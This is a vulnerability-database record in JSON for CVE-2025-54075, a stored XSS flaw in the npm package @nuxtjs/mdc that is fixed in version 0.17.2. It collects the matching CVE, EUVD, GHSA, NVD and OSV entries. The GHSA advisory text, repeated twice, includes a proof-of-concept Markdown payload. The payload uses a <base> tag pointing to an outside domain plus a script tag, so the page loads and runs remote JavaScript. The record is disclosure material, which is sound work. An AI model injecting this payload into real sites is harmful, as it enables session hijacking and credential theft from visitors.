{"id":"CVE-2025-54075","aliases":["EUVD-2025-21892","GHSA-cj6r-rrr9-fg82"],"status":"published","title":"mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)","description":"MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element. The `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00344,"percentile":0.28179,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2025-07-18T15:47:38Z","modified":"2026-10-28T02:31:00Z","fixes":[{"ecosystem":"npm","package":"@nuxtjs/mdc","fixed_in":["0.17.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nuxtjs/mdc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.17.2"}]}]},{"source":"osv","ecosystem":"npm","package":"@nuxtjs/mdc","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.17.2"}]}]}],"products":[{"vendor":"nuxt-modules","product":"mdc"}],"references":[{"url":"https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54075","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cj6r-rrr9-fg82"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54075.json","tags":["advisory"]},{"url":"https://github.com/nuxt-modules/mdc","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-54075","title":"mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)","description":"MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element. The `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.","status":"published","published":"2025-07-18T15:47:38.236Z","modified":"2025-07-22T15:14:53.051Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:27.28543Z"}],"euvd":[{"id":"EUVD-2025-21892","description":"MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element. The `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.","status":"published","published":"2025-07-18T15:47:38Z","modified":"2025-07-22T15:14:53Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T20:32:05.744165Z"}],"ghsa":[{"id":"GHSA-cj6r-rrr9-fg82","title":"Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering","description":"### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element.  \nThe `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.\n\n### Details\n- **Affected file** : `src/runtime/parser/utils/props.ts`  \n- **Core logic**  : `validateProp()` inspects  \n  * attributes that start with `on` → blocked  \n  * `href` or `src` → filtered by `isAnchorLinkAllowed()`  \n  Every other attribute and every **tag** (including `\u003cbase\u003e`) is allowed unchanged, so the malicious `href` on `\u003cbase\u003e` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) =\u003e {\n  if (attribute.startsWith('on')) return false\n  if (attribute === 'href' || attribute === 'src') {\n    return isAnchorLinkAllowed(value)\n  }\n  return true               // ← “href” on \u003cbase\u003e not checked\n}\n```\n\nAs soon as `\u003cbase href=\"https://vozec.fr\"\u003e` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n\u003cbase href=\"https://vozec.fr\"\u003e\n\u003cscript src=\"/xss.js\"\u003e\u003c/script\u003e\n```\n\n1. Start the Nuxt app (`npm run dev`).  \n2. Visit the page.  \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion  \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…).  \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `\u003cbase\u003e` tags** in the renderer. The safest fix is to strip them entirely.  \n2. Alternatively, restrict `href` on `\u003cbase\u003e` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.  \n3. Publish a patched release and document the security fix.  \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.","status":"published","published":"2025-07-20T16:36:14Z","modified":"2025-07-20T16:36:14Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:50.834587Z"}],"nvd":[{"id":"CVE-2025-54075","description":"MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element. The `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.","status":"published","published":"2025-07-18T16:15:30.557Z","modified":"2026-06-17T09:39:22.5Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:18.782156Z"}],"osv":[{"id":"CVE-2025-54075","title":"mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)","description":"MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element. The `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.","status":"published","published":"2025-07-18T15:47:38.236Z","modified":"2026-10-28T02:31:00.5310848Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:50.863921Z"},{"id":"GHSA-cj6r-rrr9-fg82","title":"Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering","description":"### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element.  \nThe `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.\n\n### Details\n- **Affected file** : `src/runtime/parser/utils/props.ts`  \n- **Core logic**  : `validateProp()` inspects  \n  * attributes that start with `on` → blocked  \n  * `href` or `src` → filtered by `isAnchorLinkAllowed()`  \n  Every other attribute and every **tag** (including `\u003cbase\u003e`) is allowed unchanged, so the malicious `href` on `\u003cbase\u003e` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) =\u003e {\n  if (attribute.startsWith('on')) return false\n  if (attribute === 'href' || attribute === 'src') {\n    return isAnchorLinkAllowed(value)\n  }\n  return true               // ← “href” on \u003cbase\u003e not checked\n}\n```\n\nAs soon as `\u003cbase href=\"https://vozec.fr\"\u003e` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n\u003cbase href=\"https://vozec.fr\"\u003e\n\u003cscript src=\"/xss.js\"\u003e\u003c/script\u003e\n```\n\n1. Start the Nuxt app (`npm run dev`).  \n2. Visit the page.  \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion  \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…).  \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `\u003cbase\u003e` tags** in the renderer. The safest fix is to strip them entirely.  \n2. Alternatively, restrict `href` on `\u003cbase\u003e` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.  \n3. Publish a patched release and document the security fix.  \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.","status":"published","published":"2025-07-20T16:36:14Z","modified":"2026-09-10T03:50:57.90799653Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:45.28161Z"}]}}
